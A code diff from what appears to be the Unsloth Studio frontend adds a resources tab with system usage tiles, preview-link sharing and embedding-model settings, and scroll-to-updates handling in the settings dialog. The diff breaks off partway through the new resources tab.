diff --git a/studio/frontend/src/features/settings/stores/settings-dialog-store.ts b/studio/frontend/src/features/settings/stores/settings-dialog-store.ts
index 4f275926de..234e92b3d0 100644
--- a/studio/frontend/src/features/settings/stores/settings-dialog-store.ts
+++ b/studio/frontend/src/features/settings/stores/settings-dialog-store.ts
@@ -7,14 +7,22 @@ export type SettingsTab =
   | "general"
   | "profile"
   | "appearance"
+  | "resources"
   | "chat"
   | "connections"
   | "api-keys"
   | "about";
 
+export type SettingsScrollTarget = "about-updates";
+
+interface OpenDialogOptions {
+  scrollTarget?: SettingsScrollTarget;
+}
+
 interface SettingsDialogState {
   open: boolean;
   activeTab: SettingsTab;
+  scrollTarget: SettingsScrollTarget | null;
   // Element focused when openDialog() ran. Radix's FocusScope normally tracks
   // this, but the rAF-scheduled focus() in settings-dialog.tsx races its
   // previous-focus capture, leaving focus on <body> after close. We restore
@@ -23,9 +31,10 @@ interface SettingsDialogState {
   // Set when something asks to jump straight to the archived chats list (the
   // archive toast). ChatTab consumes it to open the dialog, then clears it.
   archivedChatsRequested: boolean;
-  openDialog: (tab?: SettingsTab) => void;
+  openDialog: (tab?: SettingsTab, options?: OpenDialogOptions) => void;
   openArchivedChats: () => void;
   consumeArchivedChatsRequest: () => void;
+  consumeScrollTarget: (target: SettingsScrollTarget) => void;
   closeDialog: () => void;
   setActiveTab: (tab: SettingsTab) => void;
 }
@@ -52,6 +61,7 @@ function loadInitialTab(): SettingsTab {
     "general",
     "profile",
     "appearance",
+    "resources",
     "chat",
     "connections",
     "api-keys",
@@ -65,32 +75,39 @@ function loadInitialTab(): SettingsTab {
 export const useSettingsDialogStore = create<SettingsDialogState>((set) => ({
   open: false,
   activeTab: loadInitialTab(),
+  scrollTarget: null,
   opener: null,
   archivedChatsRequested: false,
-  openDialog: (tab) =>
+  openDialog: (tab, options) =>
     set((state) => ({
       open: true,
       activeTab: tab ?? state.activeTab,
+      scrollTarget: options?.scrollTarget ?? null,
       opener: captureOpener(),
     })),
   openArchivedChats: () =>
     set({
       open: true,
       activeTab: "chat",
+      scrollTarget: null,
       archivedChatsRequested: true,
       opener: captureOpener(),
     }),
   consumeArchivedChatsRequest: () => set({ archivedChatsRequested: false }),
+  consumeScrollTarget: (target) =>
+    set((state) => ({
+      scrollTarget: state.scrollTarget === target ? null : state.scrollTarget,
+    })),
   // Do NOT clear `opener` here. onCloseAutoFocus runs on the next render
   // pass after `open: false` lands, so the opener must still be readable
   // from the store at that point. The next openDialog() overwrites it.
-  closeDialog: () => set({ open: false }),
+  closeDialog: () => set({ open: false, scrollTarget: null }),
   setActiveTab: (tab) => {
     try {
       window.localStorage.setItem(ACTIVE_TAB_KEY, tab);
     } catch {
       // ignore storage failures
     }
-    set({ activeTab: tab });
+    set({ activeTab: tab, scrollTarget: null });
   },
 }));
diff --git a/studio/frontend/src/features/settings/tabs/about-tab.tsx b/studio/frontend/src/features/settings/tabs/about-tab.tsx
index fc4a0a953e..1f323a9e8d 100644
--- a/studio/frontend/src/features/settings/tabs/about-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/about-tab.tsx
@@ -17,7 +17,7 @@ import {
   NewReleasesIcon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
-import { useEffect, useState } from "react";
+import { useEffect, useRef, useState } from "react";
 import { SettingsRow } from "../components/settings-row";
 import { SettingsSection } from "../components/settings-section";
 import { StudioVersionSection } from "../components/studio-version-section";
@@ -25,6 +25,7 @@ import {
   type UpdateInstallSource,
   UpdateStudioInstructions,
 } from "../components/update-studio-instructions";
+import { useSettingsDialogStore } from "../stores/settings-dialog-store";
 
 type ApiObject = Record<string, unknown>;
 
@@ -76,6 +77,11 @@ export function AboutTab() {
   const deviceType = usePlatformStore((s) => s.deviceType);
   const defaultShell = deviceType === "windows" ? "windows" : "unix";
   const hw = useHardwareInfo();
+  const updateSectionRef = useRef<HTMLDivElement | null>(null);
+  const scrollTarget = useSettingsDialogStore((s) => s.scrollTarget);
+  const consumeScrollTarget = useSettingsDialogStore(
+    (s) => s.consumeScrollTarget,
+  );
   const [shutdownOpen, setShutdownOpen] = useState(false);
   const [installSource, setInstallSource] = useState<
     UpdateInstallSource | "loading"
@@ -95,6 +101,20 @@ export function AboutTab() {
     };
   }, []);
 
+  useEffect(() => {
+    if (scrollTarget !== "about-updates") {
+      return;
+    }
+    const frame = window.requestAnimationFrame(() => {
+      updateSectionRef.current?.scrollIntoView({
+        block: "start",
+        behavior: "smooth",
+      });
+      consumeScrollTarget("about-updates");
+    });
+    return () => window.cancelAnimationFrame(frame);
+  }, [consumeScrollTarget, scrollTarget]);
+
   return (
     <div className="flex flex-col gap-6">
       <header className="flex flex-col gap-1">
@@ -110,15 +130,17 @@ export function AboutTab() {
           Unsloth/Package rows; the prop keeps it About-only (General passes none). */}
       <StudioVersionSection llamaCppVersion={hw.llamaCpp} />
 
-      <SettingsSection title={t("settings.about.updates")}>
-        <div className="py-2">
-          <UpdateStudioInstructions
-            defaultShell={defaultShell}
-            installSource={isTauri ? null : installSource}
-            showTitle={false}
-          />
-        </div>
-      </SettingsSection>
+      <div ref={updateSectionRef} className="scroll-mt-5">
+        <SettingsSection title={t("settings.about.updates")}>
+          <div className="py-2">
+            <UpdateStudioInstructions
+              defaultShell={defaultShell}
+              installSource={isTauri ? null : installSource}
+              showTitle={false}
+            />
+          </div>
+        </SettingsSection>
+      </div>
 
       {hw.gpus.length > 0 || hw.cuda || hw.rocm ? (
         <SettingsSection title={t("settings.about.hardware")}>
@@ -136,7 +158,7 @@ export function AboutTab() {
               <code className="font-mono text-xs text-muted-foreground">
                 {gpu.name ?? "—"}
                 {gpu.vramTotalGb != null
-                  ? ` · ${Math.round(gpu.vramTotalGb)} GB`
+                  ? ` · ${Math.round(gpu.vramTotalGb)} GiB`
                   : ""}
               </code>
             </SettingsRow>
@@ -228,29 +250,33 @@ export function AboutTab() {
         </SettingsRow>
       </SettingsSection>
 
-      <SettingsSection title={t("settings.about.dangerZone")}>
-        <SettingsRow
-          destructive={true}
-          label={t("settings.about.shutDownStudio")}
-          description={t("settings.about.shutDownStudioDescription")}
-        >
-          <Button
-            variant="outline"
-            size="sm"
-            onClick={() => setShutdownOpen(true)}
-            className="text-destructive hover:text-destructive hover:border-destructive/60"
+      {!isTauri && (
+        <SettingsSection title={t("settings.about.dangerZone")}>
+          <SettingsRow
+            destructive={true}
+            label={t("settings.about.shutDownStudio")}
+            description={t("settings.about.shutDownStudioDescription")}
           >
-            <HugeiconsIcon icon={Cancel01Icon} className="size-3.5 mr-1.5" />
-            {t("settings.about.shutDown")}
-          </Button>
-        </SettingsRow>
-      </SettingsSection>
+            <Button
+              variant="outline"
+              size="sm"
+              onClick={() => setShutdownOpen(true)}
+              className="text-destructive hover:text-destructive hover:border-destructive/60"
+            >
+              <HugeiconsIcon icon={Cancel01Icon} className="size-3.5 mr-1.5" />
+              {t("settings.about.shutDown")}
+            </Button>
+          </SettingsRow>
+        </SettingsSection>
+      )}
 
-      <ShutdownDialog
-        open={shutdownOpen}
-        onOpenChange={setShutdownOpen}
-        onAfterShutdown={removeTrainingUnloadGuard}
-      />
+      {!isTauri && (
+        <ShutdownDialog
+          open={shutdownOpen}
+          onOpenChange={setShutdownOpen}
+          onAfterShutdown={removeTrainingUnloadGuard}
+        />
+      )}
     </div>
   );
 }
diff --git a/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx b/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx
index e83ecebfc8..f1e503f7a3 100644
--- a/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx
@@ -17,6 +17,7 @@ import { fetchApiKeys, revokeApiKey, type ApiKey } from "../api/api-keys";
 import { ApiMonitorConsole } from "../components/api-monitor-console";
 import { ApiKeyRow } from "../components/api-key-row";
 import { CreateKeyForm } from "../components/create-key-form";
+import { ModelAutoSwitchSection } from "../components/model-auto-switch-section";
 import { KeyRevealCard } from "../components/key-reveal-card";
 import { UsageExamples } from "../components/usage-examples";
 
@@ -171,6 +172,8 @@ export function ApiKeysTab() {
 
       <UsageExamples apiKey={revealed} />
 
+      <ModelAutoSwitchSection />
+
       <Dialog open={revokeTarget !== null} onOpenChange={(o) => !o && setRevokeTarget(null)}>
         <DialogContent className="max-w-md">
           <DialogHeader>
diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx
index 6e34b3b23d..8fd70cc1b7 100644
--- a/studio/frontend/src/features/settings/tabs/general-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx
@@ -13,26 +13,42 @@ import {
 import { Input } from "@/components/ui/input";
 import { Switch } from "@/components/ui/switch";
 import { usePlatformStore } from "@/config/env";
-import { isTauri } from "@/lib/api-base";
-import { openModelsDir } from "@/features/native-intents";
-import { copyToClipboard } from "@/lib/copy-to-clipboard";
-import { toast } from "@/lib/toast";
-import { loadModelsFolder, type ModelsFolder } from "../api/models-folder";
 import { resetOnboardingDone } from "@/features/auth";
 import { useChatRuntimeStore } from "@/features/chat";
+import { openModelsDir } from "@/features/native-intents";
+import { emitTrainingRunsChanged } from "@/features/training";
 import {
   setShowLlamaUpdateBanner,
   useShowLlamaUpdateBanner,
 } from "@/hooks/use-llama-update-pref";
 import { LOCALE_STORAGE_KEY, useT } from "@/i18n";
+import { isTauri } from "@/lib/api-base";
+import { copyToClipboard } from "@/lib/copy-to-clipboard";
+import { toast } from "@/lib/toast";
+import { cn } from "@/lib/utils";
 import { useNavigate, useRouterState } from "@tanstack/react-router";
-import { Eye, EyeOff } from "lucide-react";
+import { Check, Eye, EyeOff } from "lucide-react";
 import { useEffect, useRef, useState } from "react";
 import {
   type HelperPrecacheSettings,
   loadHelperPrecacheSettings,
   updateHelperPrecacheSettings,
 } from "../api/helper-precache";
+import { type ModelsFolder, loadModelsFolder } from "../api/models-folder";
+import {
+  type PreviewSharingSettings,
+  loadPreviewSharing,
+  rotatePreviewLinks,
+  updatePreviewSharing,
+} from "../api/preview-sharing";
+import {
+  EmbeddingModelBlockedError,
+  type EmbeddingModelSettings,
+  EmbeddingModelVerificationError,
+  loadEmbeddingModelSettings,
+  resetEmbeddingModelSettings,
+  updateEmbeddingModelSettings,
+} from "../api/embedding-model";
 import {
   DEFAULT_UPLOAD_LIMIT_MB,
   type UploadLimitSettings,
@@ -40,6 +56,7 @@ import {
   updateUploadLimitSettings,
 } from "../api/upload-limit";
 import { ChangePasswordDialog } from "../components/change-password-dialog";
+import { EmbeddingModelCombobox } from "../components/embedding-model-combobox";
 import { SettingsRow } from "../components/settings-row";
 import { SettingsSection } from "../components/settings-section";
 import { StudioVersionSection } from "../components/studio-version-section";
@@ -62,6 +79,7 @@ const PREFS_KEYS: string[] = [
   "unsloth_chat_auto_title",
   "unsloth_hf_token",
   "unsloth_auto_heal_tool_calls",
+  "unsloth_nudge_tool_calls",
   "unsloth_max_tool_calls_per_message",
   "unsloth_tool_call_timeout",
   "unsloth_chat_inference_params",
@@ -72,6 +90,7 @@ const PREFS_KEYS: string[] = [
   "unsloth_chat_load_on_selection",
   "unsloth_chat_expand_quantizations",
   "unsloth_chat_show_all_quantizations",
+  "unsloth_models_fit_on_device_only",
   // Chat presets
   "unsloth_chat_custom_presets",
   "unsloth_chat_active_preset",
@@ -87,6 +106,7 @@ const PREFS_KEYS: string[] = [
   "tour:studio:v1",
   // Update notifications
   "unsloth_show_llama_update_banner",
+  "unsloth_monitor_overlay",
 ];
 
 // Set by resetAllPrefs so the unmount-commit effect skips writing back the
@@ -145,7 +165,25 @@ export function GeneralTab() {
     null,
   );
   const [isSavingHelperPrecache, setIsSavingHelperPrecache] = useState(false);
+  const [previewSharing, setPreviewSharing] =
+    useState<PreviewSharingSettings | null>(null);
+  const [previewSharingError, setPreviewSharingError] = useState<string | null>(
+    null,
+  );
+  const [isSavingPreviewSharing, setIsSavingPreviewSharing] = useState(false);
+  const [revokePreviewOpen, setRevokePreviewOpen] = useState(false);
+  const [isRevokingPreview, setIsRevokingPreview] = useState(false);
   const [modelsFolder, setModelsFolder] = useState<ModelsFolder | null>(null);
+  const [embeddingModel, setEmbeddingModel] =
+    useState<EmbeddingModelSettings | null>(null);
+  const [draftEmbeddingModel, setDraftEmbeddingModel] = useState("");
+  const [embeddingModelError, setEmbeddingModelError] = useState<string | null>(
+    null,
+  );
+  // Set after a 409 (unverifiable model); offers "Save anyway".
+  const [embeddingModelNeedsForce, setEmbeddingModelNeedsForce] =
+    useState(false);
+  const [isSavingEmbeddingModel, setIsSavingEmbeddingModel] = useState(false);
 
   const draftRef = useRef(draftToken);
   useEffect(() => {
@@ -171,6 +209,12 @@ export function GeneralTab() {
     if (trimmed !== hfToken) setHfToken(trimmed);
   };
 
+  // Show an "accepted" tick once a non-empty token has been committed to the
+  // store and the field still matches it (i.e. not mid-edit). Gives the user
+  // feedback that a pasted token was saved.
+  const tokenSaved =
+    draftToken.trim().length > 0 && draftToken.trim() === (hfToken ?? "");
+
   useEffect(() => {
     let cancelled = false;
     void loadUploadLimitSettings()
@@ -213,6 +257,48 @@ export function GeneralTab() {
     };
   }, [t]);
 
+  useEffect(() => {
+    let cancelled = false;
+    void loadPreviewSharing()
+      .then((settings) => {
+        if (cancelled) return;
+        setPreviewSharing(settings);
+        setPreviewSharingError(null);
+      })
+      .catch((error) => {
+        if (cancelled) return;
+        setPreviewSharingError(
+          error instanceof Error
+            ? error.message
+            : t("settings.general.previewSharing.loadError"),
+        );
+      });
+    return () => {
+      cancelled = true;
+    };
+  }, [t]);
+
+  useEffect(() => {
+    let cancelled = false;
+    void loadEmbeddingModelSettings()
+      .then((settings) => {
+        if (cancelled) return;
+        setEmbeddingModel(settings);
+        setDraftEmbeddingModel(settings.embeddingModel);
+      })
+      .catch((error) => {
+        if (cancelled) return;
+        setEmbeddingModelError(
+          error instanceof Error
+            ? error.message
+            : t("settings.general.rag.loadError"),
+        );
+      });
+    return () => {
+      cancelled = true;
+    };
+  }, [t]);
+
   useEffect(() => {
     let cancelled = false;
     void loadModelsFolder()
@@ -267,6 +353,99 @@ export function GeneralTab() {
     }
   };
 
+  const savePreviewSharing = async (enabled: boolean) => {
+    setIsSavingPreviewSharing(true);
+    setPreviewSharingError(null);
+    try {
+      const settings = await updatePreviewSharing(enabled);
+      setPreviewSharing(settings);
+      // Toggling sharing changes whether /api/train/runs returns preview_sig, so
+      // refresh the history grid (hide/show the Copy preview link buttons).
+      emitTrainingRunsChanged();
+    } catch (error) {
+      setPreviewSharingError(
+        error instanceof Error
+          ? error.message
+          : t("settings.general.previewSharing.saveError"),
+      );
+    } finally {
+      setIsSavingPreviewSharing(false);
+    }
+  };
+
+  const revokePreviewLinks = async () => {
+    setIsRevokingPreview(true);
+    try {
+      await rotatePreviewLinks();
+      // The secret rotated, so any preview_sig the history grid still holds is
+      // now stale. Refresh so copied links use freshly minted signatures.
+      emitTrainingRunsChanged();
+      setRevokePreviewOpen(false);
+      toast.success(t("settings.general.previewSharing.revoked"));
+    } catch (error) {
+      toast.error(t("settings.general.previewSharing.revokeError"), {
+        description: error instanceof Error ? error.message : undefined,
+      });
+    } finally {
+      setIsRevokingPreview(false);
+    }
+  };
+
+  const saveEmbeddingModel = async (force: boolean) => {
+    const trimmed = draftEmbeddingModel.trim();
+    if (!trimmed) {
+      setEmbeddingModelError(t("settings.general.rag.emptyError"));
+      return;
+    }
+    setIsSavingEmbeddingModel(true);
+    setEmbeddingModelError(null);
+    try {
+      const settings = await updateEmbeddingModelSettings(trimmed, {
+        hfToken: hfToken || undefined,
+        force,
+      });
+      setEmbeddingModel(settings);
+      setDraftEmbeddingModel(settings.embeddingModel);
+      setEmbeddingModelNeedsForce(false);
+      toast.success(t("settings.general.rag.saved"), {
+        description: t("settings.general.rag.reindexWarning"),
+      });
+    } catch (error) {
+      // A hard security block cannot be forced; keep the "save anyway" action hidden.
+      if (error instanceof EmbeddingModelBlockedError) {
+        setEmbeddingModelNeedsForce(false);
+      } else if (error instanceof EmbeddingModelVerificationError) {
+        setEmbeddingModelNeedsForce(true);
+      }
+      setEmbeddingModelError(
+        error instanceof Error
+          ? error.message
+          : t("settings.general.rag.saveError"),
+      );
+    } finally {
+      setIsSavingEmbeddingModel(false);
+    }
+  };
+
+  const resetEmbeddingModel = async () => {
+    setIsSavingEmbeddingModel(true);
+    setEmbeddingModelError(null);
+    setEmbeddingModelNeedsForce(false);
+    try {
+      const settings = await resetEmbeddingModelSettings();
+      setEmbeddingModel(settings);
+      setDraftEmbeddingModel(settings.embeddingModel);
+    } catch (error) {
+      setEmbeddingModelError(
+        error instanceof Error
+          ? error.message
+          : t("settings.general.rag.saveError"),
+      );
+    } finally {
+      setIsSavingEmbeddingModel(false);
+    }
+  };
+
   const saveUploadLimit = async () => {
     const parsed = Number(draftUploadLimit);
     if (!Number.isInteger(parsed)) {
@@ -319,8 +498,22 @@ export function GeneralTab() {
               value={draftToken}
               onChange={(e) => setDraftToken(e.target.value)}
               onBlur={commitToken}
-              className="h-8 w-full pr-8 font-mono text-xs"
+              className={cn(
+                "h-8 w-full font-mono text-xs",
+                tokenSaved ? "pr-14" : "pr-8",
+              )}
             />
+            {tokenSaved ? (
+              // Decorative: pointer-events-none lets clicks reach the input
+              // underneath so the field still focuses anywhere.
+              <span
+                className="pointer-events-none absolute right-7 top-1/2 flex size-5 -translate-y-1/2 items-center justify-center text-emerald-600 duration-150 animate-in fade-in zoom-in dark:text-emerald-500"
+                role="img"
+                aria-label={t("settings.general.tokenSaved")}
+              >
+                <Check className="size-4" strokeWidth={2.5} />
+              </span>
+            ) : null}
             <button
               type="button"
               onClick={() => setShowToken((s) => !s)}
@@ -403,34 +596,111 @@ export function GeneralTab() {
         </SettingsRow>
       </SettingsSection>
 
-      <SettingsSection title={t("settings.general.helperLlm.sectionTitle")}>
+      <SettingsSection
+        title={t("settings.general.previewSharing.sectionTitle")}
+      >
         <SettingsRow
-          label={t("settings.general.helperLlm.preloadOnStartup")}
-          description={t(
-            "settings.general.helperLlm.preloadOnStartupDescription",
-          )}
+          label={t("settings.general.previewSharing.enableLabel")}
+          description={t("settings.general.previewSharing.enableDescription")}
         >
           <div className="flex flex-col items-end gap-1">
             <Switch
-              checked={helperPrecache?.enabled ?? false}
-              disabled={
-                !helperPrecache ||
-                isSavingHelperPrecache ||
-                helperPrecache.disabledByEnv
-              }
-              onCheckedChange={(enabled) => void saveHelperPrecache(enabled)}
+              checked={previewSharing?.enabled ?? false}
+              disabled={!previewSharing || isSavingPreviewSharing}
+              onCheckedChange={(enabled) => void savePreviewSharing(enabled)}
             />
-            {helperPrecache?.disabledByEnv ? (
-              <span className="max-w-[260px] text-right text-xs text-muted-foreground">
-                {t("settings.general.helperLlm.disabledByEnv")}
-              </span>
-            ) : helperPrecacheError ? (
+            {previewSharingError ? (
               <span className="max-w-[260px] text-right text-xs text-destructive">
-                {helperPrecacheError}
+                {previewSharingError}
               </span>
             ) : null}
           </div>
         </SettingsRow>
+        <SettingsRow
+          destructive={true}
+          label={t("settings.general.previewSharing.revokeLabel")}
+          description={t("settings.general.previewSharing.revokeDescription")}
+        >
+          <Button
+            variant="outline"
+            size="sm"
+            onClick={() => setRevokePreviewOpen(true)}
+            className="text-destructive hover:text-destructive hover:border-destructive/60"
+          >
+            {t("settings.general.previewSharing.revokeAction")}
+          </Button>
+        </SettingsRow>
+      </SettingsSection>
+
+      <SettingsSection title={t("settings.general.rag.sectionTitle")}>
+        <SettingsRow
+          label={t("settings.general.rag.embeddingModel")}
+          description={t("settings.general.rag.embeddingModelDescription", {
+            defaultModel: embeddingModel?.defaultEmbeddingModel ?? "",
+          })}
+        >
+          <div className="flex flex-col items-end gap-1">
+            <div className="flex items-center gap-2">
+              <EmbeddingModelCombobox
+                value={draftEmbeddingModel}
+                onChange={(next) => {
+                  setDraftEmbeddingModel(next);
+                  setEmbeddingModelNeedsForce(false);
+                  setEmbeddingModelError(null);
+                }}
+                accessToken={hfToken || undefined}
+                disabled={!embeddingModel}
+                placeholder={embeddingModel?.defaultEmbeddingModel ?? ""}
+                ariaLabel={t("settings.general.rag.embeddingModel")}
+                className="w-[220px]"
+              />
+              <Button
+                variant="outline"
+                size="sm"
+                disabled={
+                  !embeddingModel ||
+                  isSavingEmbeddingModel ||
+                  draftEmbeddingModel.trim() === embeddingModel.embeddingModel
+                }
+                onClick={() => void saveEmbeddingModel(false)}
+              >
+                {isSavingEmbeddingModel
+                  ? t("common.saving")
+                  : t("common.save")}
+              </Button>
+            </div>
+            {embeddingModelError ? (
+              <span className="max-w-[300px] text-right text-xs text-destructive">
+                {embeddingModelError}
+              </span>
+            ) : null}
+            <div className="flex items-center gap-2">
+              {embeddingModelNeedsForce ? (
+                <Button
+                  variant="outline"
+                  size="sm"
+                  disabled={isSavingEmbeddingModel}
+                  onClick={() => void saveEmbeddingModel(true)}
+                >
+                  {t("settings.general.rag.saveAnyway")}
+                </Button>
+              ) : null}
+              {embeddingModel?.isCustom ? (
+                <Button
+                  variant="ghost"
+                  size="sm"
+                  disabled={isSavingEmbeddingModel}
+                  onClick={() => void resetEmbeddingModel()}
+                >
+                  {t("settings.general.rag.resetAction")}
+                </Button>
+              ) : null}
+            </div>
+            <span className="max-w-[300px] text-right text-xs text-muted-foreground">
+              {t("settings.general.rag.reindexWarning")}
+            </span>
+          </div>
+        </SettingsRow>
       </SettingsSection>
 
       <SettingsSection title={t("settings.general.uploads.sectionTitle")}>
@@ -498,6 +768,36 @@ export function GeneralTab() {
         </SettingsSection>
       )}
 
+      <SettingsSection title={t("settings.general.helperLlm.sectionTitle")}>
+        <SettingsRow
+          label={t("settings.general.helperLlm.preloadOnStartup")}
+          description={t(
+            "settings.general.helperLlm.preloadOnStartupDescription",
+          )}
+        >
+          <div className="flex flex-col items-end gap-1">
+            <Switch
+              checked={helperPrecache?.enabled ?? false}
+              disabled={
+                !helperPrecache ||
+                isSavingHelperPrecache ||
+                helperPrecache.disabledByEnv
+              }
+              onCheckedChange={(enabled) => void saveHelperPrecache(enabled)}
+            />
+            {helperPrecache?.disabledByEnv ? (
+              <span className="max-w-[260px] text-right text-xs text-muted-foreground">
+                {t("settings.general.helperLlm.disabledByEnv")}
+              </span>
+            ) : helperPrecacheError ? (
+              <span className="max-w-[260px] text-right text-xs text-destructive">
+                {helperPrecacheError}
+              </span>
+            ) : null}
+          </div>
+        </SettingsRow>
+      </SettingsSection>
+
       <SettingsSection
         title={t("settings.general.resetPreferences.sectionTitle")}
       >
@@ -540,6 +840,36 @@ export function GeneralTab() {
           </DialogFooter>
         </DialogContent>
       </Dialog>
+
+      <Dialog open={revokePreviewOpen} onOpenChange={setRevokePreviewOpen}>
+        <DialogContent className="max-w-md">
+          <DialogHeader>
+            <DialogTitle>
+              {t("settings.general.previewSharing.revokeConfirmTitle")}
+            </DialogTitle>
+            <DialogDescription>
+              {t("settings.general.previewSharing.revokeConfirmDescription")}
+            </DialogDescription>
+          </DialogHeader>
+          <DialogFooter>
+            <Button
+              variant="outline"
+              onClick={() => setRevokePreviewOpen(false)}
+            >
+              {t("common.cancel")}
+            </Button>
+            <Button
+              onClick={() => void revokePreviewLinks()}
+              disabled={isRevokingPreview}
+              className="bg-destructive hover:bg-destructive/90 text-destructive-foreground"
+            >
+              {isRevokingPreview
+                ? t("settings.general.previewSharing.revoking")
+                : t("settings.general.previewSharing.revokeConfirmAction")}
+            </Button>
+          </DialogFooter>
+        </DialogContent>
+      </Dialog>
     </div>
   );
 }
diff --git a/studio/frontend/src/features/settings/tabs/resources-tab.tsx b/studio/frontend/src/features/settings/tabs/resources-tab.tsx
new file mode 100644
index 0000000000..6c30858c63
--- /dev/null
+++ b/studio/frontend/src/features/settings/tabs/resources-tab.tsx
@@ -0,0 +1,486 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Button } from "@/components/ui/button";
+import { Progress } from "@/components/ui/progress";
+import { Switch } from "@/components/ui/switch";
+import { openModelsDir } from "@/features/native-intents";
+import { useSystemInfo, type GpuDevice } from "@/hooks/use-system";
+import { isTauri } from "@/lib/api-base";
+import { copyToClipboard } from "@/lib/copy-to-clipboard";
+import { toast } from "@/lib/toast";
+import { cn } from "@/lib/utils";
+import { useT } from "@/i18n";
+import { useEffect, useMemo, useState } from "react";
+import { loadModelsFolder, type ModelsFolder } from "../api/models-folder";
+import { SettingsRow } from "../components/settings-row";
+import { SettingsSection } from "../components/settings-section";
+import { useMonitorOverlayStore } from "../stores/monitor-overlay-store";
+import { LayersIcon } from "lucide-react";
+
+const POLL_MS = 3000;
+
+function isFiniteNumber(value: number | null | undefined): value is number {
+  return typeof value === "number" && Number.isFinite(value);
+}
+
+function clampPercent(value: number | null | undefined): number {
+  if (!isFiniteNumber(value)) return 0;
+  return Math.max(0, Math.min(100, value));
+}
+
+function usageIndicatorClass(percent: number): string {
+  if (percent >= 90) return "bg-destructive";
+  if (percent >= 70) return "bg-amber-500";
+  return "bg-primary";
+}
+
+function usageTextClass(percent: number): string {
+  if (percent >= 90) return "text-destructive";
+  if (percent >= 70) return "text-amber-600 dark:text-amber-400";
+  return "text-primary";
+}
+
+function formatGb(value: number | null | undefined): string {
+  const safe = isFiniteNumber(value) ? Math.max(0, value) : 0;
+  const digits = safe >= 10 ? 1 : 2;
+  return `${safe.toFixed(digits)} GB`;
+}
+
+// RAM/VRAM come from the backend in binary units (bytes / 1024**3), matching
+// nvidia-smi and PyTorch, so label those readouts GiB. Disk stays on formatGb
+// because the backend reports disk in decimal GB (bytes / 1e9).
+function formatGiB(value: number | null | undefined): string {
+  const safe = isFiniteNumber(value) ? Math.max(0, value) : 0;
+  const digits = safe >= 10 ? 1 : 2;
+  return `${safe.toFixed(digits)} GiB`;
+}
+
+function formatMb(value: number | null | undefined): string {
+  const safe = isFiniteNumber(value) ? Math.max(0, value) : 0;
+  return `${Math.round(safe).toLocaleString()} MB`;
+}
+
+function formatPercent(value: number | null | undefined): string {
+  return `${Math.round(clampPercent(value))}%`;
+}
+
+function formatFrequency(mhz: number | null | undefined): string | null {
+  if (!isFiniteNumber(mhz) || mhz <= 0) return null;
+  if (mhz >= 1000) return `${(mhz / 1000).toFixed(2)} GHz`;
+  return `${Math.round(mhz)} MHz`;
+}
+
+function formatUptime(seconds: number | null | undefined): string {
+  if (!isFiniteNumber(seconds) || seconds <= 0) return "0m";
+  const minutes = Math.floor(seconds / 60);
+  const hours = Math.floor(minutes / 60);
+  const days = Math.floor(hours / 24);
+  if (days > 0) return `${days}d ${hours % 24}h`;
+  if (hours > 0) return `${hours}h ${minutes % 60}m`;
+  return `${Math.max(1, minutes)}m`;
+}
+
+function MetricTile({
+  label,
+  value,
+  detail,
+  percent,
+}: {
+  label: string;
+  value: string;
+  detail: string;
+  percent: number;
+}) {
+  const safePercent = clampPercent(percent);
+  return (
+    <div className="flex min-w-0 flex-col gap-2 rounded-md border border-border/60 bg-muted/20 p-3">
+      <div className="flex items-center justify-between gap-3">
+        <span className="truncate text-[11px] font-semibold uppercase tracking-[0.08em] text-muted-foreground">
+          {label}
+        </span>
+        <span
+          className={cn(
+            "shrink-0 font-mono text-xs tabular-nums",
+            usageTextClass(safePercent),
+          )}
+        >
+          {formatPercent(safePercent)}
+        </span>
+      </div>
+      <div className="min-w-0">
+        <div className="truncate font-mono text-sm tabular-nums text-foreground">
+          {value}
+        </div>
+        <div className="mt-0.5 truncate text-xs text-muted-foreground">
+          {detail}
+        </div>
+      </div>
+      <Progress
+        value={safePercent}
+        aria-label={label}
+        className="h-1.5 rounded-full bg-muted"
+        indicatorClassName={usageIndicatorClass(safePercent)}
+      />
+    </div>
+  );
+}
+
+function InfoRow({
+  label,
+  value,
+  detail,
+}: {
+  label: string;
+  value: string;
+  detail?: string;
+}) {
+  return (
+    <div className="flex min-w-0 items-center justify-between gap-4 py-2.5">
+      <span className="min-w-0 truncate text-sm font-medium text-foreground">
+        {label}
+      </span>
+      <span
+        title={detail ?? value}
+        className="min-w-0 max-w-[60%] truncate text-right font-mono text-xs tabular-nums text-muted-foreground"
+      >
+        {detail ? `${value} (${detail})` : value}
+      </span>
+    </div>
+  );
+}
+
+function deviceOrdinal(device: GpuDevice): number | undefined {
+  return device.visible_ordinal ?? device.index;
+}
+
+export function ResourcesTab() {
+  const t = useT();
+  const [liveUpdates, setLiveUpdates] = useState(true);
+  const { isOpen, setIsOpen } = useMonitorOverlayStore();
+  const systemInfo = useSystemInfo({
+    enabled: liveUpdates,
+    pollMs: liveUpdates ? POLL_MS : undefined,
+  });
+  const [modelsFolder, setModelsFolder] = useState<ModelsFolder | null>(null);
+  const [modelsFolderLoaded, setModelsFolderLoaded] = useState(false);
+
+  useEffect(() => {
+    let cancelled = false;
+    void loadModelsFolder()
+      .then((folder) => {
+        if (cancelled) return;
+        setModelsFolder(folder);
+        setModelsFolderLoaded(true);
+      })
+      .catch(() => {
+        if (cancelled) return;
+        setModelsFolderLoaded(true);
+      });
+    return () => {
+      cancelled = true;
+    };
+  }, []);
+
+  const metrics = useMemo(() => {
+    const devices = systemInfo.gpu?.devices ?? [];
+    const ramTotal = systemInfo.memory?.total_gb ?? 0;
+    const ramAvailable = systemInfo.memory?.available_gb ?? 0;
+    const ramUsed = Math.max(0, ramTotal - ramAvailable);
+    const diskTotal = systemInfo.disk?.total_gb ?? 0;
+    const diskFree = systemInfo.disk?.free_gb ?? 0;
+    const diskUsed = Math.max(0, diskTotal - diskFree);
+    const vramTotal = devices.reduce(
+      (sum, device) => sum + (device.memory_total_gb ?? 0),
+      0,
